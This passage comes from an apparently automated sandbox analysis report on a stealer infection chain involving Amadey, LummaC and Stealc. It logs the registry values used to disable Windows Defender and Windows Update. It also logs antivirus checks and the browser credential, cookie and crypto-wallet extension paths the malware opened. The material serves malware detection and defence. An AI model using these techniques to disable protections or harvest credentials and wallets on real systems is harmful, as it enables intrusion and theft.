Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: dbec6bb1cf.exe, dbec6bb1cf.exe, 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: rProgram Manager
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp Binary or memory string: lProgram Manager
Source: A77BGJTTW6SX9ESX.exe, 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: [Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001161001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001161001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.2246636477.0000000000B87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246724139.0000000000B93000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 12.2.skotes.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.2349736258.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2391174497.00000000003F1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2673921546.0000000000741000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2632495189.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 2155b53b29.exe PID: 7104, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 35.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 48.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 30.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: file.exe String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe String found in binary or memory: Wallets/JAXX New Version
Source: file.exe, 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: on","window-state.json"],"z":"Wallets/Binance","
Source: file.exe String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ","m":["keystore"],"z":"Wallets/Ethereum","d
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.2184146006.0000000000B76000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
